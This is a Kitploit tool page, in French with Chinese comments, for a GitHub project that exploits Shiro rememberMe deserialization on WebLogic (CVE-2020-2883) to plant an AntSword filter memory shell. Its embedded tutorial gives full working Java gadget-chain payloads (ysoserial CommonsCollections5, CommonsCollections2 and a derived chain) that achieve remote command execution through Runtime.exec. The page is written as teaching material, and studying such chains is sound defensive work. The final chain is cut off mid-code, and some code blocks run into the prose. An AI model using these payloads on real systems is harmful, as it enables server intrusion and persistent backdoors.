Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
WebLogic-Shiro-shell — Exploite la vulnérabilité de désérialisation rememberMe de Shiro via CVE-2020-2883 sur WebLogic, et enregistre en un clic un memory shell de type filtre pour AntSword. | Kitploit
Outils/GitHubGitHub/y4er/weblogic-shiro-shell
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationDéveloppement de Charges UtilesExploitation de Binaires
GitHuby4er/weblogic-shiro-shell

WebLogic-Shiro-shell

Exploite la vulnérabilité de désérialisation rememberMe de Shiro via CVE-2020-2883 sur WebLogic, et enregistre en un clic un memory shell de type filtre pour AntSword.

Voir le dépôt
53160il y a 5 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Partage de techniques de désérialisation Java

Ce partage aborde les points suivants :

  1. Fondamentaux de la sérialisation et de la désérialisation Java
  2. Pourquoi des vulnérabilités apparaissent-elles lors de la désérialisation ?
  3. Réflexion Java
  4. ysoserial CommonsCollections2、CommonsCollections5
  5. Plusieurs méthodes de chargement de classes avec Java ClassLoader
  6. WebLogic CVE-2020-2555 CVE-2020-2883 RCE
  7. RCE de désérialisation causé par le codage en dur de rememberMe dans Shiro-550
  8. WebLogic + Shiro : enregistrement en un clic d'un filter memory shell via désérialisation

Fondamentaux de la sérialisation et de la désérialisation Java

La sérialisation Java est le processus de conversion d'un objet Java en une séquence d'octets, facilitant ainsi son stockage en mémoire, dans un fichier ou dans une base de données. La méthode writeObject() de la classe ObjectOutputStream permet d'effectuer la sérialisation, c'est-à-dire de convertir un objet Java en séquence d'octets.

La désérialisation Java est le processus de restauration d'une séquence d'octets en un objet Java. La méthode readObject() de la classe ObjectInputStream est utilisée pour la désérialisation.

Prenons un exemple simple, voir le code SerializeAndDeserialize ps : portez une attention particulière au transtypage forcé dans le code```java package org.chabug.demo;

import org.chabug.entity.Dog; import org.chabug.entity.Person; import org.chabug.util.Serializables;

/* 这个例子是为了证明只要实现了Serializable接口的类都可以被序列化 并且Java内置的几大数据类型也可被序列化,因为他们都继承了Object类 */

public class SerializeAndDeserialize {

root@kitploit:~
public static void main(String[] args) throws Exception {
    byte[] bytes;
    String s1 = "I'm a String Object....";
    bytes = Serializables.serializeToBytes(s1);
    Object o1 = Serializables.deserializeFromBytes(bytes);
    System.out.println(o1);

    String[] s2 = new String[]{"tom", "bob", "jack"};
    bytes = Serializables.serializeToBytes(s2);
    String[] o2 = (String[])Serializables.deserializeFromBytes(bytes);
    System.out.println(o2);

    int i = 123;
    bytes = Serializables.serializeToBytes(i);
    int o3 = (Integer) Serializables.deserializeFromBytes(bytes);
    System.out.println(o3);

    // 一只名叫woody的狗
    Dog dog = new Dog();
    dog.setName("woody");

    // tom
    Person tom = new Person();
    tom.setAge(14);
    tom.setName("tom");
    tom.setSex("男");
    tom.setDog(dog);

    bytes = Serializables.serializeToBytes(tom);
    Person o = (Person) Serializables.deserializeFromBytes(bytes);
    System.out.println(o);

}

}

root@kitploit:~
Les types de données intégrés à Java tels que String, Integer, les tableaux, les objets Object, etc. peuvent tous être sérialisés. Nos propres classes Person et Dog peuvent être sérialisées et désérialisées dès lors qu'elles implémentent l'interface Serializable.



## Pourquoi des vulnérabilités apparaissent-elles lors de la désérialisation ?

Regardons un morceau de code : il existe maintenant une classe d'entité malveillante EvilClass```java
package org.chabug.entity;

import java.io.ObjectInputStream;
import java.io.Serializable;

public class EvilClass implements Serializable {
    String name;

    public EvilClass() {
        System.out.println(this.getClass() + "的EvilClass()构造方法被调用!!!!!!");
    }

    public EvilClass(String name) {
        System.out.println(this.getClass() + "的EvilClass(String name)构造方法被调用!!!!!!");
        this.name = name;
    }

    public String getName() {
        System.out.println(this.getClass() + "的getName被调用!!!!!!");
        return name;
    }

    public void setName(String name) {
        System.out.println(this.getClass() + "的setName被调用!!!!!!");
        this.name = name;
    }

    @Override
    public String toString() {
        System.out.println(this.getClass() + "的toString()被调用!!!!!!");
        return "EvilClass{" +
                "name='" + getName() + '\'' +
                '}';
    }

    private void readObject(ObjectInputStream in) throws Exception {
        //执行默认的readObject()方法
        in.defaultReadObject();
        System.out.println(this.getClass() + "readObject()被调用!!!!!!");
        Runtime.getRuntime().exec(new String[]{"cmd", "/c", name});
    }
}

Dans son readObject, il y a du code exécutant des commandes : Runtime.getRuntime().exec(new String[]{"cmd", "/c", name}), le paramètre name étant la commande à exécuter. Nous pouvons donc construire un objet malveillant, affecter à sa propriété name la commande à exécuter, et lorsque la désérialisation déclenche readObject, cela provoque une RCE. Comme suit```java package org.chabug.demo;

import org.chabug.entity.EvilClass; import org.chabug.util.Serializables;

public class EvilSerialize { public static void main(String[] args) throws Exception { EvilClass evilObj = new EvilClass(); evilObj.setName("calc"); byte[] bytes = Serializables.serializeToBytes(evilObj); EvilClass o = (EvilClass) Serializables.deserializeFromBytes(bytes); System.out.println(o); } }

root@kitploit:~
![image-20200822105256120](https://assets.kitploit.com/production/public/readmes/21799/7f07c0c8196e56e1d554bce64f73f069bdd3e589a3302936c831903e5f7e5539.png)

Maintenant que nous savons comment la désérialisation peut mener à une RCE, il faut garder à l'esprit qu'en conditions réelles de développement, on n'écrirait pas directement ce genre de code. C'est pourquoi il s'agit de trouver des chaînes d'exploitation. Une vulnérabilité de désérialisation nécessite trois éléments :

1. Point d'entrée de la désérialisation (source)
2. Méthode cible (sink)
3. Chaîne d'exploitation (gadget chain)

Si l'on observe attentivement la sortie de l'image ci-dessus, on constate que non seulement la méthode `readObject` est déclenchée, mais aussi `toString()`, le constructeur sans argument, les méthodes `set` et `get`. Dans la recherche réelle de chaînes d'exploitation, il ne faut donc pas se limiter à la méthode `readObject()`.



C'est alors que nous devons comprendre la **réflexion**. Plus haut, nous avons évoqué le problème de la **conversion de type forcée**. Dans le développement réel, un traitement logique est effectué dans `readObject` ; lorsque le type de données concret de l'objet reçu est inconnu, la réflexion est utilisée pour déterminer et invoquer la méthode appropriée. La réflexion est précisément un moyen essentiel pour nous d'aboutir à une RCE.

## Réflexion Java

Qu'est-ce que la réflexion ? Le terme « réflexion » contient l'idée de « retour sur soi ». Pour l'expliquer, il faut donc partir de son opposé, l'« appel direct ». Regardons le code. Voici ma classe d'entité :```java
package org.chabug.entity;

import java.io.IOException;

public class ReflectionClass {
    String name;

    public ReflectionClass(String name) {
        this.name = name;
    }

    public ReflectionClass() {
    }

    public String say() {
        return this.name;
    }

    private void evil(String cmd) {
        try {
            Runtime.getRuntime().exec(new String[]{"cmd","/c",cmd});
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    @Override
    public String toString() {
        return "ReflectionClass{" +
                "name='" + name + '\'' +
                '}';
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }
}

Écriture normale```java package org.chabug.demo;

import org.chabug.entity.ReflectionClass;

public class ReflectionDemo { public static void main(String[] args) { ReflectionClass demo = new ReflectionClass(); demo.setName("hello"); System.out.println(demo.say()); // demo.evil("calc"); // 不能够调用private方法 } }

root@kitploit:~
C'est très simple : on crée une instance de `ReflectionClass` via `new`, puis on appelle ses méthodes via l'instance ; c'est ce qu'on appelle l'« invocation directe ». Mais que faire si l'on ne connaît pas le nom de la classe au moment du `new` ? Comment appeler des méthodes protégées par `private` ? C'est là que la réflexion montre tout son intérêt. Regardez le code suivant```java
package org.chabug.demo;

import org.chabug.entity.ReflectionClass;

import java.lang.reflect.Method;

public class ReflectionDemo {
    public static void main(String[] args) throws Exception {
        // new
        Class<?> aClass = Class.forName("org.chabug.entity.ReflectionClass");
        Object o = aClass.newInstance();

        // setName("jack")
        Method setName = aClass.getDeclaredMethod("setName",String.class);
        setName.invoke(o, "jack");

        // say()
        Method say = aClass.getDeclaredMethod("say",null);
        Object o1 = say.invoke(o, null);
        System.out.println(o1);

        // evil("calc")
        // 反射可以修改方法的修饰符来调用private方法
        Method evil = aClass.getDeclaredMethod("evil", String.class);
        evil.setAccessible(true);
        evil.invoke(o,"calc");
    }
}

Il n'est pas nécessaire de connaître le nom de la classe à l'avance ; il suffit de modifier la classe org.chabug.entity.ReflectionClass et de la passer via un paramètre. De plus, on peut utiliser setAccessible pour accéder aux méthodes ou champs protégés en private.

Ensuite, partons de la vulnérabilité pour approfondir le rôle de la réflexion dans la désérialisation, ainsi que la recherche de chaînes d'appel de désérialisation.

ysoserial CommonsCollections2, CommonsCollections5

ysoserial est un outil de génération d'exploits de désérialisation Java, qui intègre plusieurs exploits connus, comme plusieurs chaînes d'exploitation de CommonsCollections. Cette fois, nous allons analyser les chaînes CC2 et CC5. La raison de cette analyse est que CC2 utilise des opérations de définition de bytecode, et CC5 permet d'approfondir la compréhension de la réflexion et des appels en chaîne.

Commençons par la chaîne CC5, plus facile à comprendre.

CommonsCollections5

La vulnérabilité se trouve dans `org.apache.commons.collections.functors.InvokerTransformer#transform````java public Object transform(Object input) { if (input == null) { return null; } else { try { Class cls = input.getClass(); Method method = cls.getMethod(this.iMethodName, this.iParamTypes); return method.invoke(input, this.iArgs); } catch (NoSuchMethodException var5) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist"); } catch (IllegalAccessException var6) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed"); } catch (InvocationTargetException var7) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7); } } }

root@kitploit:~
En comparant avec le code du chapitre sur la réflexion, on voit que c'est clairement une utilisation de la réflexion. Pour l'expliquer en code direct, ce serait :```java
input.iMethodName(iArgs);

this.iMethodName, this.iParamTypes et this.iArgs sont tous contrôlables dans le constructeur. On peut ainsi appeler n'importe quelle méthode de l'objet input et passer n'importe quel paramètre.```java public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { this.iMethodName = methodName; this.iParamTypes = paramTypes; this.iArgs = args; }

root@kitploit:~
Ainsi, commençons par un code d'exécution de commandes.```java
package org.chabug.demo;

import org.apache.commons.collections.functors.InvokerTransformer;

public class CC5 {
    public static void main(String[] args) throws Exception {
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
        invokerTransformer.transform(Runtime.getRuntime());
    }
}

Parce que la classe Runtime est de type singleton, il faut passer par getRuntime() pour obtenir l'objet runtime de Runtime, puis le transmettre à transform() afin de faire apparaître la calculatrice.

image-20200822135700699

Mais nous savons que lors de la désérialisation, seul readObject() est exécuté automatiquement. Si l'on construit directement l'objet InvokerTransformer, il faut encore résoudre deux problèmes :

  1. Exécuter automatiquement Runtime.getRuntime()
  2. Exécuter automatiquement invokerTransformer.transform()

Résolvons d'abord le premier problème : dans org.apache.commons.collections.functors.ChainedTransformer#transform, il est possible d'implémenter un appel en chaîne.```java public Object transform(Object object) { for(int i = 0; i < this.iTransformers.length; ++i) { object = this.iTransformers[i].transform(object); } return object; }

root@kitploit:~
this.iTransformers est défini comme un tableau de Transformers```java
private final Transformer[] iTransformers;

Transformer est une interface, et InvokerTransformer implémente également cette interface.

image-20200822140627663

Selon le principe de conversion de type implicite de Java, nous pouvons définir un tableau de Transformer, y placer plusieurs InvokerTransformer pour réaliser plusieurs appels réflexifs et obtenir Runtime.getRuntime().exec().```java package org.chabug.demo;

import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer;

public class CC5 { public static void main(String[] args) throws Exception { // ((Runtime) Runtime.class.getMethod("getRuntime").invoke(null)).exec("calc"); Transformer[] transformers = new Transformer[]{ // 传入Runtime类 new ConstantTransformer(Runtime.class), // 使用Runtime.class.getMethod()反射调用Runtime.getRuntime() new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), // invoke()调用Runtime.class.getMethod("getRuntime").invoke(null) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), // 调用exec("calc") new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}) }; Transformer chain = new ChainedTransformer(transformers); chain.transform(null); } }

root@kitploit:~
Ce qui est particulièrement ingénieux, c'est que Runtime.class est passé via le constructeur de la classe ConstantTransformer, ce qui évite d'avoir à passer Runtime nous-mêmes.



Il faut maintenant résoudre le deuxième problème : comment déclencher automatiquement transform() ? On sait que readObject() est exécuté lors de la désérialisation. Alors, quelle classe a un readObject() qui appelle directement ou indirectement transform() ?



C'est dans org.apache.commons.collections.map.LazyMap#get que transform() est appelé.```java
public Object get(Object key) {
    if (!super.map.containsKey(key)) {
        Object value = this.factory.transform(key);
        super.map.put(key, value);
        return value;
    } else {
        return super.map.get(key);
    }
}

Regardez la méthode constructeur de cette classe et le champ factory.```java protected final Transformer factory;

public static Map decorate(Map map, Transformer factory) { return new LazyMap(map, factory); }

root@kitploit:~
Le champ `factory` est déclaré `final` et `protected`, mais il possède une méthode publique `decorate()` qui permet de générer des objets de cette classe. On peut donc construire ce qui suit :```java
HashMap hashMap = new HashMap();
Map map = LazyMap.decorate(hashMap, chain);
map.get("test");	//执行这个就会弹出计算器  map.get() > transform()

À ce stade, on cherche où la méthode get() de map est appelée org.apache.commons.collections.keyvalue.TiedMapEntry#getValue```java private final Map map; private final Object key;

public TiedMapEntry(Map map, Object key) { this.map = map; this.key = key; } public Object getKey() { return this.key; } public Object getValue() { return this.map.get(this.key); } public String toString() { return this.getKey() + "=" + this.getValue(); }

root@kitploit:~
getValue() appelle tout simplement map.get(), et nous pouvons également contrôler this.key. De plus, toString() appelle this.getValue(). Continuons maintenant la construction.```java
HashMap hashMap = new HashMap();
Map map = LazyMap.decorate(hashMap, chain);
// map.get("test");
TiedMapEntry key = new TiedMapEntry(map, "key");
key.toString();	// toString > getValue() > map.get()

Alors maintenant, le problème est de savoir comment déclencher automatiquement toString() via readObject. C'est simple : dans les classes intégrées de jdk, il existe une classe d'exception BadAttributeValueExpException dont readObject() exécute toString().```java public BadAttributeValueExpException (Object val) { this.val = val == null ? null : val.toString(); } public String toString() { return "BadAttributeValueException: " + val; }

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException { ObjectInputStream.GetField gf = ois.readFields(); Object valObj = gf.get("val", null);

root@kitploit:~
if (valObj == null) {
    val = null;
} else if (valObj instanceof String) {
    val= valObj;
} else if (System.getSecurityManager() == null
           || valObj instanceof Long
           || valObj instanceof Integer
           || valObj instanceof Float
           || valObj instanceof Double
           || valObj instanceof Byte
           || valObj instanceof Short
           || valObj instanceof Boolean) {
    val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
    val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}

}

root@kitploit:~
Étant donné que System.getSecurityManager() est null par défaut, val = valObj.toString() est déclenché, on entre dans TiedMapEntry.toString(), ce qui aboutit au payload final.```java
package org.chabug.demo;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.chabug.util.Serializables;

import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC5 {
    public static void main(String[] args) throws Exception {
//        ((Runtime) Runtime.class.getMethod("getRuntime").invoke(null)).exec("calc");
        Transformer[] transformers = new Transformer[]{
                // 传入Runtime类
                new ConstantTransformer(Runtime.class),
                // 使用Runtime.class.getMethod()反射调用Runtime.getRuntime()
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                // invoke()调用Runtime.class.getMethod("getRuntime").invoke(null)
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                // 调用exec("calc")
                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"})
        };
        Transformer chain = new ChainedTransformer(transformers);
//        chain.transform(null);
        HashMap hashMap = new HashMap();
        Map map = LazyMap.decorate(hashMap, chain);
//        map.get("asd");
        TiedMapEntry key = new TiedMapEntry(map, "key");
//        key.toString();

        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
        field.setAccessible(true);
        field.set(badAttributeValueExpException, key);


        byte[] bytes = Serializables.serializeToBytes(badAttributeValueExpException);
        Serializables.deserializeFromBytes(bytes);
    }
}

image-20200822144101188

Il est à noter que lors de la déclaration de l'objet BadAttributeValueExpException, le paramètre entry n'est pas transmis directement, mais est assigné par réflexion. En effet, le constructeur de BadAttributeValueExpException vérifie si la valeur est nulle ; si elle n'est pas nulle, toString() sera exécuté lors de la sérialisation. Ainsi, lors de la désérialisation, comme l'entry transmise est déjà une chaîne, la méthode toString() ne sera pas déclenchée.

小结:utiliser habilement la réflexion combinée aux appels en chaîne, puis trouver un gadget pour réussir une RCE.```java /* Gadget chain: ObjectInputStream.readObject() BadAttributeValueExpException.readObject() TiedMapEntry.toString() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec() Requires: commons-collections */

root@kitploit:~
### CommonsCollections2

Avant de présenter CC2, il faut d'abord comprendre le bytecode Java. En Java, tout le code Java doit être compilé en fichiers de bytecode class pour être exécuté par la JVM. Le bytecode ressemble davantage à un langage assembleur, très difficile à lire, mais il existe néanmoins de nombreuses excellentes bibliothèques pour manipuler, modifier et éditer le bytecode afin de programmer, comme asm, cglib et javassist. Dans l'outil ysoserial, c'est la bibliothèque javassist qui est utilisée. Regardons d'abord comment le payload cc2 est écrit dans ysoserial.```java
public Queue<Object> getObject(final String command) throws Exception {
    final Object templates = Gadgets.createTemplatesImpl(command);
    // mock method name until armed
    final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

    // create queue with numbers and basic comparator
    final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
    // stub data for replacement later
    queue.add(1);
    queue.add(1);

    // switch method called by comparator
    Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");

    // switch contents of queue
    final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
    queueArray[0] = templates;
    queueArray[1] = 1;

    return queue;
}

Regardez d'abord Gadgets.createTemplatesImpl(command) dans la première ligne.```java public static Object createTemplatesImpl ( final String command ) throws Exception { if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) { return createTemplatesImpl( command, Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"), Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"), Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl")); }

root@kitploit:~
return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);

}

root@kitploit:~
Puisque la classe org.apache.xalan.xsltc.trax.TemplatesImpl a été mentionnée, il faut d'abord jeter un œil à deux lignes de code.```java
package org.chabug.demo;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import ysoserial.payloads.util.Gadgets;

public class CC2 {
    public static void main(String[] args) throws Exception {
        TemplatesImpl object = (TemplatesImpl) Gadgets.createTemplatesImpl("calc");
        object.newTransformer();
    }
}

image-20200822152423212

Pourquoi la calculatrice s'ouvre-t-elle ? Approfondissons createTemplatesImpl()```java public static Object createTemplatesImpl ( final String command ) throws Exception { if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) { return createTemplatesImpl( command, Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"), Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"), Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl")); }

root@kitploit:~
return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);

}

public static T createTemplatesImpl ( final String command, Class tplClass, Class abstTranslet, Class transFactory ) throws Exception { final T templates = tplClass.newInstance();

root@kitploit:~
// use template gadget class
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(abstTranslet));
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
// run command in static initializer
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
    command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
    "\");";
clazz.makeClassInitializer().insertAfter(cmd);
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
clazz.setName("ysoserial.Pwner" + System.nanoTime());
CtClass superC = pool.get(abstTranslet.getName());
clazz.setSuperclass(superC);

final byte[] classBytes = clazz.toBytecode();

// inject class bytes into instance
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
    classBytes, ClassFiles.classAsBytes(Foo.class)
});

// required to make TemplatesImpl happy
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
return templates;

}

root@kitploit:~
Le code ci-dessus fait les choses suivantes :

1. Instancie un objet `org.apache.xalan.xsltc.trax.TemplatesImpl` nommé `templates` ; l'attribut `_bytecodes` de cet objet peut stocker du bytecode.
2. Écrit une classe `StubTransletPayload` qui hérite de `AbstractTranslet` et implémente l'interface `Serializable`.
3. Récupère le bytecode de `StubTransletPayload` et utilise javassist pour insérer le bytecode de `templates` (exécution de commande via Runtime.exec).
4. Définit par réflexion `_bytecodes` de `templates` comme contenant le bytecode d'exécution de commande.

En réalité, il s'agit d'implémenter une sous-classe de `org.apache.xalan.xsltc.trax.TemplatesImpl`, puis d'insérer son propre bytecode malveillant dans le champ `_bytecodes`. Voyons `newTransformer()`.```java
public synchronized Transformer newTransformer()
    throws TransformerConfigurationException
{
    TransformerImpl transformer;

    transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
                                      _indentNumber, _tfactory);

    if (_uriResolver != null) {
        transformer.setURIResolver(_uriResolver);
    }

    if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
        transformer.setSecureProcessing(true);
    }
    return transformer;
}

exécutera getTransletInstance(), suivez-le```java private Translet getTransletInstance() throws TransformerConfigurationException { try { if (_name == null) return null;

root@kitploit:~
    if (_class == null) defineTransletClasses();

    // The translet needs to keep a reference to all its auxiliary
    // class to prevent the GC from collecting them
    AbstractTranslet translet = (AbstractTranslet)
        _class[_transletIndex].getConstructor().newInstance();
    translet.postInitialization();
    translet.setTemplates(this);
    translet.setOverrideDefaultParser(_overrideDefaultParser);
    translet.setAllowedProtocols(_accessExternalStylesheet);
    if (_auxClasses != null) {
        translet.setAuxiliaryClasses(_auxClasses);
    }

    return translet;
}
catch (InstantiationException | IllegalAccessException |
       NoSuchMethodException | InvocationTargetException e) {
    ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
    throw new TransformerConfigurationException(err.toString(), e);
}

}

root@kitploit:~
La ligne suivante va créer une instance à partir de la classe définie par le bytecode, et le bloc static de la classe définie par le bytecode contient Runtime.exec, ce qui conduit à une RCE.```java
AbstractTranslet translet = (AbstractTranslet)            _class[_transletIndex].getConstructor().newInstance();

Alors, il suffit de trouver une classe qui appelle template.newTransformer() dans readObject(). C'est-à-dire la PriorityQueue dans le payload.

PriorityQueue est une file de priorité illimitée fondée sur la priorité. Les éléments de la file de priorité sont triés selon leur ordre naturel, ou selon le Comparator fourni lors de la construction de la file, en fonction du constructeur utilisé.

Examinons son readObject()```java private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { // Read in size, and any hidden stuff s.defaultReadObject();

root@kitploit:~
// Read in (and discard) array length
s.readInt();

SharedSecrets.getJavaOISAccess().checkArray(s, Object[].class, size);
queue = new Object[size];

// Read in all elements.
for (int i = 0; i < size; i++)
    queue[i] = s.readObject();

// Elements are guaranteed to be in "proper order", but the
// spec has never explained what that might be.
heapify();

}

root@kitploit:~
Puisqu'il s'agit d'une file de priorité, un tri existe nécessairement. Dans heapify()```java
private void heapify() {
    for (int i = (size >>> 1) - 1; i >= 0; i--)
        siftDown(i, (E) queue[i]); // 进行排序
}
private void siftDown(int k, E x) {
    if (comparator != null) 
        siftDownUsingComparator(k, x); // 如果指定比较器就使用
    else
        siftDownComparable(k, x);  // 没指定就使用默认的自然比较器
}
private void siftDownUsingComparator(int k, E x) {
    int half = size >>> 1;
    while (k < half) {
        int child = (k << 1) + 1;
        Object c = queue[child];
        int right = child + 1;
        if (right < size &&
            comparator.compare((E) c, (E) queue[right]) > 0)
            c = queue[child = right];
        if (comparator.compare(x, (E) c) <= 0)
            break;
        queue[k] = c;
        k = child;
    }
    queue[k] = x;
}
private void siftDownComparable(int k, E x) {
    Comparable<? super E> key = (Comparable<? super E>)x;
    int half = size >>> 1;        // loop while a non-leaf
    while (k < half) {
        int child = (k << 1) + 1; // assume left child is least
        Object c = queue[child];
        int right = child + 1;
        if (right < size &&
            ((Comparable<? super E>) c).compareTo((E) queue[right]) > 0)
            c = queue[child = right];
        if (key.compareTo((E) c) <= 0)
            break;
        queue[k] = c;
        k = child;
    }
    queue[k] = key;
}

comparator est un comparateur. Lorsque comparator est spécifié, on passe à comparator.compare((E) c, (E) queue[right]). comparator est un objet de l'interface Comparator.```java private final Comparator<? super E> comparator;

root@kitploit:~
En examinant sa hiérarchie d'héritage, on découvre que la classe TransformingComparator du package CC implémente l'interface Comparator.

![image-20200822155342130](https://assets.kitploit.com/production/public/readmes/21799/8efbc6595d2b8d6f314f557bbc3763d8d3d082872989758404641a4e58701b20.png)

La méthode compare() de TransformingComparator```java
public int compare(I obj1, I obj2) {
    O value1 = this.transformer.transform(obj1);
    O value2 = this.transformer.transform(obj2);
    return this.decorated.compare(value1, value2);
}

Hé, n'est-ce pas exactement l'appel réflexif de méthode arbitraire transform évoqué précédemment ! this.transformer porte la classe InvokerTransformer, et l'appel réflexif du newTransformer() précédent mène directement à un RCE. Construisons le payload.```java public Queue getObject(final String command) throws Exception { final Object templates = Gadgets.createTemplatesImpl(command); // mock method name until armed final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

root@kitploit:~
// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
// stub data for replacement later
queue.add(1);
queue.add(1);

// switch method called by comparator
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");

// switch contents of queue
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = 1;

return queue;

}

root@kitploit:~
Le point qui peut sembler déroutant devrait être dans `new InvokerTransformer("toString", new Class[0], new Object[0])` : pourquoi utiliser d'abord toString, puis modifier par réflexion en newTransformer ? Parce que si l'on utilise directement newTransformer pour la sérialisation, une erreur sera levée : `The method 'newTransformer' on 'class java.lang.Integer' does not exist`. C'est pourquoi ysoserial utilise d'abord toString pour convertir en chaîne et la comparer au nombre 1, puis modifie par réflexion. C'est très ingénieux.



Résumé :```java
/*
    Gadget chain:
        ObjectInputStream.readObject()
            PriorityQueue.readObject()
                ...
                    TransformingComparator.compare()
                        InvokerTransformer.transform()
                            Method.invoke()
                                Runtime.exec()
 */

Télécharger l’outil

Dérivation des deux chaînes

CC2 utilise la classe TemplatesImpl pour réaliser une RCE via l'initialisation de bytecode malveillant, tandis que CC5 réalise une RCE par des appels réflexifs en chaîne, étape par étape. Mais en réalité, l'essence reste la réflexion ; avec quelques modifications, les deux chaînes peuvent encore en dériver une nouvelle.```java package org.chabug.demo;

import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.InvokerTransformer; import org.chabug.util.Serializables; import ysoserial.payloads.util.Reflections;

import java.lang.reflect.Field; import java.util.PriorityQueue;

public class MyCC { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ // 使用Runtime.class.getMethod()反射调用Runtime.getRuntime() new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), // invoke()调用Runtime.class.getMethod("getRuntime").invoke(null) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), // 调用exec("calc") new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}) }; Transformer chain = new ChainedTransformer(transformers);

root@kitploit:~
    Class clazz = ChainedTransformer.class;
    Field iTransformers = clazz.getDeclaredField("iTransformers");
    iTransformers.setAccessible(true);

    Transformer[] transformers1 = new Transformer[]{
            new InvokerTransformer("toString", new Class[]{}, new Object[]{})
    };
    ChainedTransformer chain1 = new ChainedTransformer(transformers1);

    final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain1));
    queue.add("1");
    queue.add("1");
    iTransformers.set(chain1, transformers);

    final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
